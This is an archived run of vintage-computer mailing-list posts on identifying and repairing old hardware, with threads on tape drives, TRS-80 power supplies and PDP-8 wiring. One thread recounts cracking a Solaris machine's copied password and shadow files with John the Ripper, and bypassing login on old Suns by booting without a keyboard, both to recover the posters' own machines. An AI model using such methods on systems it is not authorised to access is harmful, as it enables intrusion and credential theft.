logo on the > keyboard says "Tekelec" and ChameLAN 100-S". After some work, I finally > got it to boot. The first surprise was that the LCD screen is a backlit > color screen. The next surprise is that it boots into some kind of UNIX. I > never did see a name for the UNIX but it pops up a number of different > copyright notices including one for DOLCH, Tekelec and the usual UNIX ones. > I couldn't get past the login id/password prompt. Any suggestions about > how to get around it? > > It has some strange cards in it including several that appear to be very > fancy Ethernet cards and another that has four fiber-optic connectors. The > three boards in the piggy back unit are physicaly bolted together and each > one has a four pin power connector similar to a 5 1/4" disk drive. There > is a cable that connects to a each of those power connectors and a power > outlet on the motherboard. The external connectors on these boards are > marked "Bypass Control", "TR1" and "TR2" and "AUX". One of the boards has a > big IC that's marked AMD AM79C830GC on it. I haven't been able to find a > refernece to this chip. One of the other boards has an AMD AM7984AJC/20 on > it. I haven't found a reference to that one either. Does anyone know what > they are? > > The main computer is a 32 Mhz 486 with 16 Mb of RAM. The hard drive is a > type 11 245 Mb IDE drive and it has a 1/3 height 1.44 Mb floppy drive. > There are also extra LED indicators on the front of the computer that are > marked "Ring Op" "Pri" "Sec", Signal Detect" "A" "B" and "Active" "A" "B". > > Does anyone know what this machine is made for or anything else about it? > > Joe From cmcmanis at mcmanis.com Sun May 21 13:15:22 2000 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 18:52:53 2005 Subject: Identification request - QuadexQ5000/SMS/Compugraphics/DEC ??? should I save it? In-Reply-To: <000d01bfc342$79484320$0101a8c0@jay> Message-ID: <4.3.1.2.20000521111402.00e3a380@208.226.86.10> It sounds like a custom CPU, probably PDP 11 like since the cards would have drivers. You should pull it and plug it into a Q-bus and see if you get an ODT like prompt. --Chuck At 11:34 AM 5/21/00 -0500, you wrote: >Quadex Q5000 labeled rack and cpu enclosure From lemay at cs.umn.edu Sun May 21 13:33:56 2000 From: lemay at cs.umn.edu (Lawrence LeMay) Date: Sun Feb 27 18:52:53 2005 Subject: more weird stuff - ChameLAN 100-s In-Reply-To: <39282230.D18426A6@cheta.net> from technoid at "May 21, 2000 01:51:45 pm" Message-ID: <200005211833.NAA10931@caesar.cs.umn.edu> > > I had a similar problem with my Sun machine. What I did was physically mount > the foreign drive on my clone running redhat. I knew what the solaris > filesystem was and so was able to instruct redhat to mount it (read only). > Then a friend in ClassicComp turned me on to a program called 'John the > Ripper'. I copied the /etc/passwd and /etc/shadow files to my clones' drive > and ran the program to crack the passwords. The root password was not > crackable but most others were. As the clock on my Sparcstation had a dead > batt, the dateas irrational for the user I logged on as as that user had not > yet been created.... This caused solaris to drop me to a root prompt at which > time I was able to change the root pw and have full system access in the proper > way with the proper date. > Hmm, you must have been lucky, and the system didnt have its EEPROM security features turned on. The standard way to hack VERY old Sun's, used to be to boot the computer with a hardware fault that the operating system couldnt solve and which it would then drop you into local root, and then fix the hardware problem. Traditionally, one would unplug the keyboard before powering on the system ;) The fix for this hardware problem is left as an extra credit problem for you to figure out... ;) -Lawrence LeMay From technoid at cheta.net Sun May 21 14:55:47 2000 From: technoid at cheta.net (technoid) Date: Sun Feb 27 18:52:53 2005 Subject: more weird stuff - ChameLAN 100-s References: <200005211833.NAA10931@caesar.cs.umn.edu> Message-ID: <39283F42.FA6D5EC5@cheta.net> No luck involved. The machine did not boot when I got it. It had bad ram and a dead NVRAM batt. Security could not be maintained by NVRAM with a dead batt. I grafted a clone batt onto the SG Thompson chip and got the system running without a real-time clock ( I damaged the oscillator when repairing the chip). Eveni if the NVRAM security had been enabled and the batt viable I would have defeated the security easily by disconnecting the internal batt on the SG Thompson or as eventually happened, replacing the chip with an equivalent device from Dallas Semiconductor. Unfortunately these chips are in very short supply at the moment. I got mine directly from Dallas and it was one of a handful left in their inventory. Both Dallas and SG Thompson are gearing up for new production but some estimates for volume availability are into the year 2001! I have never been defeated by a computer. Lawrence LeMay wrote: > > > Hmm, you must have been lucky, and the system didnt have its EEPROM security > features turned on. The standard way to hack VERY old Sun's, used to > be to boot the computer with a hardware fault that the operating system > couldnt solve and which it would then drop you into local root, and then > fix the hardware problem. Traditionally, one would unplug the keyboard > before powering on the system ;) The fix for this hardware problem is > left as an extra credit problem for you to figure out... ;) > > -Lawrence LeMay From ard at p850ug1.demon.co.uk Sun May 21 13:08:58 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:52:53 2005 Subject: Warning: Most of DejaNews Archive Offline In-Reply-To: <000701bfc2d2$9d57f050$0201640a@colossus> from "Earl Evans" at May 20, 0 08:14:02 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 3155 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000521/604d2bc6/attachment-0001.ksh From ard at p850ug1.demon.co.uk Sun May 21 13:38:46 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:52:53 2005 Subject: rescued a beehive! In-Reply-To: <3.0.1.16.20000521094703.264706fe@mailhost.intellistar.net> from "Joe" at May 21, 0 09:47:03 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1399 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000521/09427910/attachment-0001.ksh From ard at p850ug1.demon.co.uk Sun May 21 13:42:15 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:52:53 2005 Subject: TRS-80 Model 1 Power supply (was: Warning: Most of DejaNews In-Reply-To: from "Fred Cisin" at May 21, 0 09:24:49 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1134 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000521/d52e0dae/attachment-0001.ksh From richard at idcomm.com Sun May 21 17:10:32 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:52:53 2005 Subject: TRS-80 Model 1 Power supply (was: Warning: Most of DejaNews References: Message-ID: <000701bfc371$650c7820$0400c0a8@winbook> A friend of mine routinely had to crack open his TRS-80 PSU's. He did this with some care, but mostly a plastic mallet and a chisel. Once the deed was done, he used MEK to glue the case back together. This seemed to me like a lot of trouble. I'd put in an externally accessible fuse holder arrangement of some sort so I didn't have to do this more than once. Dick ----- Original Message ----- From: Fred Cisin (XenoSoft) To: Sent: Sunday, May 21, 2000 10:24 AM Subject: TRS-80 Model 1 Power supply (was: Warning: Most of DejaNews > On Sat, 20 May 2000, Earl Evans wrote: > > BTW, anyone have a spare TRS-80 Model 1 power supply hanging around? :-) > > Or, could tell me how to build/repair one? > > The good news is that MOST (but certainly not ALL) problems with the model > 1 power supply are nothing more than a blown fuse! All that is usually > needed is to solder in a new fuse. > > The bad news is that the case is glued together. > > Fortunately the glued joint tends to be substqantially weaker than the > rest of the case. > > Although some, such as Tony, might have a much better way to open the > case, brute force will usually do. Swinging it by the cord (now I'm SURE > that Tony would have a better way :-), slam it down onto a carpeted floor. > Gradually increase the level of violence until it cracks open, without > getting rough enough to shatter it all over the place. > > Solder in a new fuse, and glue the case back together. > > > A Dremel saw might do the job, but this is the technique that we used at > the 6th? West Coast Computer Faire to repair half a dozen of them. (Show > management insisted that there was NOTHING WRONG with the power provided) > > > I sold some of my model 1 stuff at VCF, and Eric got most of the rest. > > -- > Grumpy Ol' Fred cisin@xenosoft.com > DogEars > From healyzh at aracnet.com Sun May 21 17:14:31 2000 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 18:52:53 2005 Subject: Argh! TZ30 Question Message-ID: Well, after spending the last several hours transfering the files for a 2.11BSD Boot tape over to my RSX-11M system I proceeded to try and write them to tape. Not sure if I was doing it right because the TZ30 proceeded to eat the TK50! Does anyone have any suggestions on how to get a TZ30 to rewind a tape and spit it out? It looks to have wound the entire tape around the spindle. It acts like it tries to rewind the tape, but then it just sits there with the three lights flashing. Now someone mind reminding me *why* I'm even trying to load 2.11BSD on my /73! Zane | Zane H. Healy | UNIX Systems Adminstrator | | healyzh@aracnet.com (primary) | Linux Enthusiast | | healyzh@holonet.net (alternate) | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.aracnet.com/~healyzh/ | From mikeford at socal.rr.com Sun May 21 17:18:04 2000 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 18:52:53 2005 Subject: Lexicomp LC8600, Grid 3800? In-Reply-To: <3.0.1.16.20000521094703.264706fe@mailhost.intellistar.net> References: <3.0.1.16.20000520075933.25bf721a@mailhost.intellistar.net> Message-ID: I brought home another toy, and left a few behind. Lexicomp LC8600 Tiny, 1x5x9 inches DOS 5.0 computer with full keyboard and a 1 MB smartcard removable memory. Made by Sinolog in Tawain, around 1994, these are exUSN, and come up with some vague military display about incoming and signal strength, but soon fails when a serial port device doesn't respond. I brought home one from the ACP swapmeet (lame, nothing new) and left a few behind. Grid 3800 laptops, Tandy 1500, I left half a dozen of these behind. They didn't show up on the Tandy/Grid support site (which looks like it is about to GO). Laptops seem to take even more space than a full size computer (I hate to stack them, so I end up with one or one type to a box and its getting crowed. I either need to seriously reaarrage From healyzh at aracnet.com Sun May 21 17:32:18 2000 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 18:52:53 2005 Subject: Argh! TZ30 Question - Part 2 In-Reply-To: Message-ID: Well, I got the tape out, and as far as I can tell the problem was an impossibility! The tape had gotten twisted/looped around an messed up. I've no clue as to how it could even happen! I just pulled the four top screws and carefully removed the circuit board, saw what the problem was, manually ejected the tape, and then turned the tape around till I got the twists out of it (about a dozen turns?!?!!?). Then put the tape back in and told the drive to unload it. It did. Zane | Zane H. Healy | UNIX Systems Adminstrator | | healyzh@aracnet.com (primary) | Linux Enthusiast | | healyzh@holonet.net (alternate) | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.aracnet.com/~healyzh/ | From cmcmanis at mcmanis.com Sun May 21 17:55:03 2000 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 18:52:53 2005 Subject: Argh! TZ30 Question - Part 2 In-Reply-To: References: Message-ID: <4.3.1.2.20000521155308.00e1ad90@208.226.86.10> >Well, I got the tape out, and as far as I can tell the problem was an >impossibility! The tape had gotten twisted/looped around an messed up. >I've no clue as to how it could even happen! It could work like this (at least on the TK50) the leader pulls on the tape, but the tape resists, then the leader rides up the center spool and "flips" over the top, then the next time around the tape has a twist in it. Never seen it though! I was rather pleased at the TZ30 I got as it seemed a better design than the original TK50. --Chuck From djg at drs-esg.com Sun May 21 17:50:38 2000 From: djg at drs-esg.com (David Gesswein) Date: Sun Feb 27 18:52:53 2005 Subject: PDP-8/L teletype connection Message-ID: <200005212250.SAA30701@drs-esg.com> From: Lawrence LeMay > The card is a W076 D. > > I need to figure out which connections on the W076 are for what 'signal', > so i can trace the wires to the DB-9 connector, and then make some > adaptor cables. Does anyone have that information on the W076? My > books dont list the W076. And which pairs on the W076 are active/passive, > and am i correct in assuming that active pairs on one device connect to > passive on the other end, ie, active supplies the current for the loop? > It took me a while to remember where they stuck the schematic for the W076 but I found it. If you get the 8/I maintenance manual from http://highgate.comm.sfu.ca/pdp8 volume I Figure 5-7 pg 5-16 shows the schematic for the W076 and the connections to the teletype. I see that the page was scribbled on, the numbers from top to bottom are 4 6 3 relay- 7 relay+. > I would want to connect a Teletype model 33 (assuming the one i'm > supposed to be getting one of these days actually works...). Also, > I would like to be able to connect an IBM to the 8/L, and hopefully > use it to download paper tape images (probably using a rs232/current-loop > interface). Has anyone been using an IBM like this in place of a > ASR terminal? > If you get an ASR-33 which wasn't used for a PDP-8 I have instruction on how to add the reader run relay. I have used a PC (ok it was an old TI PC, used a different serial port which supported hardware flow control which I connected to the reader run signal) to talk to my 8/I, I built an external current loop converter. If you need more information on this email me, from later postings it looks like you might have a current loop card for the PC. If you get overrun problems it may be due to not having the reader run signal. The 8/I serial port is not double buffered so it doesn't have much time (1-2 bit time) to remove the character before it is lost by the next. If I remember correctly only some things like Focal couldn't keep up at 110. David Gesswein From technoid at cheta.net Sun May 21 17:52:19 2000 From: technoid at cheta.net (technoid) Date: Sun Feb 27 18:52:53 2005 Subject: Cracking open Brick-type power supplies References: <000701bfc371$650c7820$0400c0a8@winbook> Message-ID: <392868A2.1E2F7420@cheta.net> Richard Erlacher wrote: > A friend of mine routinely had to crack open his TRS-80 PSU's. He did this > with some care, but mostly a plastic mallet and a chisel. Once the deed > was done, he used MEK to glue the case back together. This seemed to me > like a lot of trouble. I'd put in an externally accessible fuse holder > arrangement of some sort so I didn't have to do this more than once. > > Dick > ----- Original Message ----- > From: Fred Cisin (XenoSoft) > To: > Sent: Sunday, May 21, 2000 10:24 AM > Subject: TRS-80 Model 1 Power supply (was: Warning: Most of DejaNews > > > On Sat, 20 May 2000, Earl Evans wrote: > > > BTW, anyone have a spare TRS-80 Model 1 power supply hanging around? > :-) > > > Or, could tell me how to build/repair one? > > > > The good news is that MOST (but certainly not ALL) problems with the model > > 1 power supply are nothing more than a blown fuse! All that is usually > > needed is to solder in a new fuse. > > > > The bad news is that the case is glued together. > > > > Fortunately the glued joint tends to be substqantially weaker than the > > rest of the case. > > > > Although some, such as Tony, might have a much better way to open the > > case, brute force will usually do. Swinging it by the cord (now I'm SURE > > that Tony would have a better way :-), slam it down onto a carpeted floor. > > Gradually increase the level of violence until it cracks open, without > > getting rough enough to shatter it all over the place. > > > > Solder in a new fuse, and glue the case back together. > > > > > > A Dremel saw might do the job, but this is the technique that we used at > > the 6th? West Coast Computer Faire to repair half a dozen of them. (Show > > management insisted that there was NOTHING WRONG with the power provided) > > > > > > I sold some of my model 1 stuff at VCF, and Eric got most of the rest. > > > > -- > > Grumpy Ol' Fred cisin@xenosoft.com > > DogEars > > From technoid at cheta.net Sun May 21 17:59:07 2000 From: technoid at cheta.net (technoid) Date: Sun Feb 27 18:52:53 2005 Subject: Cracking open brick-type transformers References: <000701bfc371$650c7820$0400c0a8@winbook> Message-ID: <39286A3A.717ED53A@cheta.net> Sorry for the blank message previous.... I am getting used to a new e-mailer as my own x86 machine's hdd died the other day... I have had good success with a hot knife in cutting open sealed "brick"-type power packs and know that replacing the fuse concealed therein is likely to restore function. Another method I found a few years later is a hacksaw. Hack at the top of the supply until you can cleanly remove the top part of the brick. This leaves a much neater pack when you are done and easy access for future replacements... An Atari enthusiast like myself then bested the above method by tapping out the original (usually four) plastic 'welds' at the bottome of the pack and freeing the guts rather quickly and cleanly. Depending on your method of entry, an external fuse holder is either nice or neccessary. I usually put them on with the hot knife method. Other methods lend themselves better to re-entry for subsequent failures. Richard Erlacher wrote: > A friend of mine routinely had to crack open his TRS-80 PSU's. He did this > with some care, but mostly a plastic mallet and a chisel. Once the deed > was done, he used MEK to glue the case back together. This seemed to me > like a lot of trouble. I'd put in an externally accessible fuse holder > arrangement of some sort so I didn't have to do this more than once. > > Dick > ----- Original Message ----- > From: Fred Cisin (XenoSoft) > To: > Sent: Sunday, May 21, 2000 10:24 AM > Subject: TRS-80 Model 1 Power supply (was: Warning: Most of DejaNews > > > On Sat, 20 May 2000, Earl Evans wrote: > > > BTW, anyone have a spare TRS-80 Model 1 power supply hanging around? > :-) > > > Or, could tell me how to build/repair one? > > > > The good news is that MOST (but certainly not ALL) problems with the model > > 1 power supply are nothing more than a blown fuse! All that is usually > > needed is to solder in a new fuse. > > > > The bad news is that the case is glued together. > > > > Fortunately the glued joint tends to be substqantially weaker than the > > rest of the case. > > > > Although some, such as Tony, might have a much better way to open the > > case, brute force will usually do. Swinging it by the cord (now I'm SURE > > that Tony would have a better way :-), slam it down onto a carpeted floor. > > Gradually increase the level of violence until it cracks open, without > > getting rough enough to shatter it all over the place. > > > > Solder in a new fuse, and glue the case back together. > > > > > > A Dremel saw might do the job, but this is the technique that we used at > > the 6th? West Coast Computer Faire to repair half a dozen of them. (Show > > management insisted that there was NOTHING WRONG with the power provided) > > > > > > I sold some of my model 1 stuff at VCF, and Eric got most of the rest. > > > > -- > > Grumpy Ol' Fred cisin@xenosoft.com > > DogEars > > From ghldbrd at ccp.com Sun May 21 23:57:47 2000 From: ghldbrd at ccp.com (Gary Hildebrand) Date: Sun Feb 27 18:52:53 2005 Subject: exabyte tape unit Message-ID: Hello guys and gals, I have a quick question: I just procured an exabyte EXB8505ST and was wondering if any of you knew what tape it uses and what the capacity is in MB. Got this at a swap meet for the case, but if the drive is useable, I'll keep it together. Respond off-list to keep the clutter down. Kind regards -- Gary Hildebrand ghldbrd@ccp.com From retro at retrobits.com Sun May 21 18:08:35 2000 From: retro at retrobits.com (Earl Evans) Date: Sun Feb 27 18:52:53 2005 Subject: Update: TRS-80 Model 1 Power supply (was: Warning: Most of DejaNews References: Message-ID: <000f01bfc379$7e26e2c0$0201640a@colossus> Hi folks, Well, this power supply is plastic, but has four screws holding it together. It wasn't obvious, because the screwholes were mounted underneath the rubber feet (which I had to pull off). I discovered this after being somewhat brutal with the power supply...hope I didn't destroy it in the effort to open it. Well, transformers are tough devices :-) All who guessed it was the fuse...bingo! The fuse is indeed out to lunch. I'm off to Fry's to get a new fuse. I'll solder it in, and report back with the results... - Earl ----- Original Message ----- From: "Tony Duell" To: Sent: Sunday, May 21, 2000 11:42 AM Subject: Re: TRS-80 Model 1 Power supply (was: Warning: Most of DejaNews > [TRS-80 Model 1 PSUs] > > > Although some, such as Tony, might have a much better way to open the > > case, brute force will usually do. Swinging it by the cord (now I'm SURE > > Oh, I like it :-).... > > I normally use the knife blade on my Leatherman and run it carefully > round the seam between the 2 parts of the case. Then crack the case > apart. Or at least that's how I open up most 'sealed' AC adapters. As I > mentioned in my other posting, the UK model 1 PSUs are in metal cases and > have 4 screws holding them together ;-) > > > that Tony would have a better way :-), slam it down onto a carpeted floor. > > Gradually increase the level of violence until it cracks open, without > > getting rough enough to shatter it all over the place. > > > > Solder in a new fuse, and glue the case back together. > > > > > > A Dremel saw might do the job, but this is the technique that we used at > > the 6th? West Coast Computer Faire to repair half a dozen of them. (Show > > I like it...... > > > management insisted that there was NOTHING WRONG with the power provided) > > Let me guess.... The neutral (mains midpoint) connection was all over the > place. > > -tony > From pat at transarc.ibm.com Sun May 21 18:12:43 2000 From: pat at transarc.ibm.com (Pat Barron) Date: Sun Feb 27 18:52:53 2005 Subject: Farallon "Project Emily" ? Message-ID: In tidying up a bit this weekend, I've unearthed one of my eBay purchases from about a year or so ago. Apparently a couple of Farallon prototypes, marked "Farallon - Project Emily"; they're brown, sheet-metal cases, with two RJ45's marked "ETHERWAVE" (and one sub-marked "ETHERNET", along side an Ethernet AUI connector), an RJ45 connector marked "ISDN U", a mini-DIN connector marked "CONFIG CONSOLE", and another RJ45 marked "PHONENET LOCALTALK". I really don't know what these are, and neither did the guy I got them from - I just bought them on a lark. I can only guess that they are some type of Ethertalk/Localtalk-to-ISDN router/bridge. Does anyone know what, if any, product these might have been prototypes for? --Pat. From pat at transarc.ibm.com Sun May 21 18:24:56 2000 From: pat at transarc.ibm.com (Pat Barron) Date: Sun Feb 27 18:52:53 2005 Subject: Available: a couple of bare TU58 drives Message-ID: I have two TU58 bare drives, also picked up from eBay about a year or so ago. I've decided that I'm unlikely to ever use them, and would like to see them go to a good home. I've never tried them and can't guarantee they work, though I was told that they were functional when I got them. I'll be happy to give them away (but please reimburse me for shipping if possible) to the first person who sends me a note to ask for them, and who has an actual use for them (i.e., is actually maintaining a VAX-11/750, a PDP-11/44, or some other system that uses these drives). Please respond to me only - no need to clutter up the list (replies sent to, or cc'ed to, the ClassicCmp mailing list will be *ignored*) --Pat. From ard at p850ug1.demon.co.uk Sun May 21 18:21:00 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:52:53 2005 Subject: Update: TRS-80 Model 1 Power supply (was: Warning: Most of DejaNews In-Reply-To: <000f01bfc379$7e26e2c0$0201640a@colossus> from "Earl Evans" at May 21, 0 04:08:35 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1745 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000522/a0511367/attachment-0001.ksh From mcguire at neurotica.com Sun May 21 18:27:15 2000 From: mcguire at neurotica.com (Dave McGuire) Date: Sun Feb 27 18:52:53 2005 Subject: exabyte tape unit In-Reply-To: exabyte tape unit (Gary Hildebrand) References: Message-ID: <14632.28883.224387.736116@phaduka.neurotica.com> On May 21, Gary Hildebrand wrote: > I have a quick question: I just procured an exabyte EXB8505ST and was > wondering if any of you knew what tape it uses and what the capacity is in > MB. Got this at a swap meet for the case, but if the drive is useable, I'll > keep it together. Respond off-list to keep the clutter down. Wow, if you bought it for the case, you probably got it cheap. 8505 drives go for $100-150 nowadays. I use Sony QG-112m data-grade tapes in my 8505 drives. -Dave McGuire From eric at brouhaha.com Sun May 21 18:25:16 2000 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:52:53 2005 Subject: exabyte tape unit In-Reply-To: (message from Gary Hildebrand on Sun, 21 May 2000 22:57:47 -0600) References: Message-ID: <20000521232516.8016.qmail@brouhaha.com> > I have a quick question: I just procured an exabyte EXB8505ST and was > wondering if any of you knew what tape it uses and what the capacity is in > MB. Got this at a swap meet for the case, but if the drive is useable, I'll > keep it together. Native 5G (on 120 meter tapes?). More with compression. Uses 8mm data tapes. Some 8mm video tapes (typically 112 meter?) have been known to work, but if you go that route, don't use cheap ones. It's rumored that Sony changed their 8mm tape formulation at some point to prevent their video tapes from working in Exabyte drives, since they wanted to sell higher-priced data-grade tapes. Personally, I use data grade tapes anyhow. In the "4mm" world (DAT & DDS), it astonishes me that most audiophiles will only use DDS (data-grade) tape for recoding audio, because they don't want any dropouts, but many computer users try to use cheap audio-grade DAT tape for their data. I guess that shows who values their recordings more. And yes, I've personally verified that the error rates on DDS tapes from the major manufacturers are in fact lower than the error rates on the same manufacturer's audio DAT tapes. Whether that's true of 8mm tapes as well, I don't know, as I haven't done any comparisons. > Respond off-list to keep the clutter down. Nope. From ard at p850ug1.demon.co.uk Sun May 21 18:26:22 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:52:53 2005 Subject: PDP-8/L teletype connection In-Reply-To: <200005212250.SAA30701@drs-esg.com> from "David Gesswein" at May 21, 0 06:50:38 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1110 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000522/0ba121a6/attachment-0001.ksh From foo at siconic.com Sun May 21 17:39:03 2000 From: foo at siconic.com (Vintage Computer GAWD!) Date: Sun Feb 27 18:52:53 2005 Subject: Warning: Most of DejaNews Archive Offline In-Reply-To: Message-ID: On Sun, 21 May 2000, Tony Duell wrote: > Of course the other way to find out the specs of the TRS-80 model 1 PSU > box is to post here. Whereupon some mad hacker with a Model 1 Technical > Reference Manual to hand will look it up :-) Unofficially, I call this the Encyclopedia Classiccompica :) Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From cmcmanis at mcmanis.com Sun May 21 18:59:49 2000 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 18:52:53 2005 Subject: Misc Avail : morrow hd manual Message-ID: <4.3.1.2.20000521165833.00e1ccc0@208.226.86.10> I found an old Morrow HD-DMA manual (S-100 hard disk card I presume) if you want it, let me know and I'll mail it to you. --Chuck From healyzh at aracnet.com Sun May 21 19:02:44 2000 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 18:52:53 2005 Subject: Semi-OT: DECstation/TZ30 question Message-ID: Since this is related to getting 2.11BSD up on my PDP-11/73 I figure it's Semi-OT. OK, I figured since I'd had to pull the TZ30 I might as well just plug it into the DECstation 5000/133 I've got. I take it that such a beasty won't recognize a TZ30? Doing a "CNFG 3" turned up the two RZ25's in the thing, but not the tapedrive, and I couldn't see it from Ultrix 4.3 either. Once again I'm asking myself *why* am I doing this, I like my UNIX lightening fast and flashy. Zane | Zane H. Healy | UNIX Systems Adminstrator | | healyzh@aracnet.com (primary) | Linux Enthusiast | | healyzh@holonet.net (alternate) | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.aracnet.com/~healyzh/ | From mcguire at neurotica.com Sun May 21 19:19:55 2000 From: mcguire at neurotica.com (Dave McGuire) Date: Sun Feb 27 18:52:53 2005 Subject: Semi-OT: DECstation/TZ30 question In-Reply-To: Semi-OT: DECstation/TZ30 question (Zane H. Healy) References: Message-ID: <14632.32043.464425.181949@phaduka.neurotica.com> On May 21, Zane H. Healy wrote: > Since this is related to getting 2.11BSD up on my PDP-11/73 I figure it's > Semi-OT. > > OK, I figured since I'd had to pull the TZ30 I might as well just plug it > into the DECstation 5000/133 I've got. I take it that such a beasty won't > recognize a TZ30? Doing a "CNFG 3" turned up the two RZ25's in the thing, > but not the tapedrive, and I couldn't see it from Ultrix 4.3 either. Hmm...can't help you with that; never tried it. I do remember, however, reading something recently (here? or maybe NetBSD's port-vax list?) about the TZ30 not being a well-behaved SCSI citizen and needing some tweaks in somebody's (NetBSD's?) SCSI driver somewhere to work properly. Coincidentally though, Zane, I'm doing the same thing tonight...I just finished putting together an 11/73 and now (in parallel with a few other things) I'm trying to figure out how to get the distribution onto a TK50. I have a MicroVAX 3100-80 running VMS 7.2 with a TZ30...perhaps I could write that tape there? Anybody know what VMS incantations I'd have to do to "get there from here"? > Once again I'm asking myself *why* am I doing this, I like my UNIX > lightening fast and flashy. Well, I've never run Unix on an '11...but you and I both have run a lot of 11s in our day, and you know darn well there's nothing slouchy about a J11. ;) -Dave McGuire From mark at cs.ualberta.ca Sun May 21 19:31:50 2000 From: mark at cs.ualberta.ca (Mark Green) Date: Sun Feb 27 18:52:53 2005 Subject: Semi-OT: DECstation/TZ30 question In-Reply-To: <14632.32043.464425.181949@phaduka.neurotica.com> from Dave McGuire at "May 21, 2000 08:19:55 pm" Message-ID: <20000522003154Z433851-16173+150@scapa.cs.ualberta.ca> > On May 21, Zane H. Healy wrote: > > Since this is related to getting 2.11BSD up on my PDP-11/73 I figure it's > > Semi-OT. > > > > OK, I figured since I'd had to pull the TZ30 I might as well just plug it > > into the DECstation 5000/133 I've got. I take it that such a beasty won't > > recognize a TZ30? Doing a "CNFG 3" turned up the two RZ25's in the thing, > > but not the tapedrive, and I couldn't see it from Ultrix 4.3 either. > > Hmm...can't help you with that; never tried it. I do remember, > however, reading something recently (here? or maybe NetBSD's > port-vax list?) about the TZ30 not being a well-behaved SCSI citizen > and needing some tweaks in somebody's (NetBSD's?) SCSI driver somewhere > to work properly. > > Coincidentally though, Zane, I'm doing the same thing tonight...I > just finished putting together an 11/73 and now (in parallel with a > few other things) I'm trying to figure out how to get the > distribution onto a TK50. You can fit the entire distribution on a TK50 tape. I used a DECstation 5000/20 running Ultrix to produce a TK50 tape that will boot on my 11/73. There is a C program that comes with the 2.11 distribution that can be used to build a distribution tape. You just need to compile it on your system, it probably only runs under Unix, and point it at your tape drive. The process of producing a tape takes around 20 or 30 minutes, if I remember correctly. The biggest problem that I had in the entire process was flakey disks on the 11/73. The standard 2.11 distribution doesn't handle bad blocks, so if you are using a RD5X drive it had better be free of bad blocks, at least in the first few cylinders where the root and swap file systems are placed. -- Dr. Mark Green mark@cs.ualberta.ca Professor (780) 492-4584 Director, Research Institute for Multimedia Systems (RIMS) Department of Computing Science (780) 492-1071 (FAX) University of Alberta, Edmonton, Alberta, T6G 2H1, Canada From pat at transarc.ibm.com Sun May 21 19:35:44 2000 From: pat at transarc.ibm.com (Pat Barron) Date: Sun Feb 27 18:52:53 2005 Subject: TU58s all spoken for Message-ID: Wow, that was fast! --Pat. From pete at dunnington.u-net.com Sun May 21 19:20:36 2000 From: pete at dunnington.u-net.com (Pete Turnbull) Date: Sun Feb 27 18:52:53 2005 Subject: exabyte tape unit In-Reply-To: Eric Smith "Re: exabyte tape unit" (May 21, 23:25) References: <20000521232516.8016.qmail@brouhaha.com> Message-ID: <10005220120.ZM16889@indy.dunnington.u-net.com> On May 21, 23:25, Eric Smith wrote: > On May 21, Gary Hildebrand wrote: > > I have a quick question: I just procured an exabyte EXB8505ST and was > > wondering if any of you knew what tape it uses and what the capacity is > > in MB. Got this at a swap meet for the case, but if the drive is > > useable, I'll keep it together. > > Native 5G (on 120 meter tapes?). More with compression. Uses 8mm data > tapes. 112m, actually. > Some 8mm video tapes (typically 112 meter?) have been known to > work, but if you go that route, don't use cheap ones. It's rumored that > Sony changed their 8mm tape formulation at some point to prevent their > video tapes from working in Exabyte drives, since they wanted to sell > higher-priced data-grade tapes. > > Personally, I use data grade tapes anyhow. > And yes, I've personally verified that the error rates on DDS tapes from > the major manufacturers are in fact lower than the error rates on the same > manufacturer's audio DAT tapes. Whether that's true of 8mm tapes as well, > I don't know, as I haven't done any comparisons. When I got my Exabytes (8200's), I had a mix of video and data tapes. I've never tested them properly, but it seems like the data tapes are indeed better. Tip: buy a cleaning cartridge. There's a whole lot of technical info (including the manuals, firmware notes, upgrades) on ExaByte's support web pages: http://www.exabyte.com/home/suppserv.html -- Pete Peter Turnbull Dept. of Computer Science University of York From pete at dunnington.u-net.com Sun May 21 20:02:02 2000 From: pete at dunnington.u-net.com (Pete Turnbull) Date: Sun Feb 27 18:52:53 2005 Subject: Identification request - QuadexQ5000/SMS/Compugraphics/DEC ??? should I save it? In-Reply-To: "Jay West" "Identification request - QuadexQ5000/SMS/Compugraphics/DEC ??? should I save it?" (May 21, 11:34) References: <000d01bfc342$79484320$0101a8c0@jay> Message-ID: <10005220202.ZM16908@indy.dunnington.u-net.com> On May 21, 11:34, Jay West wrote: > A friend called me about a cpu cabinet sitting next 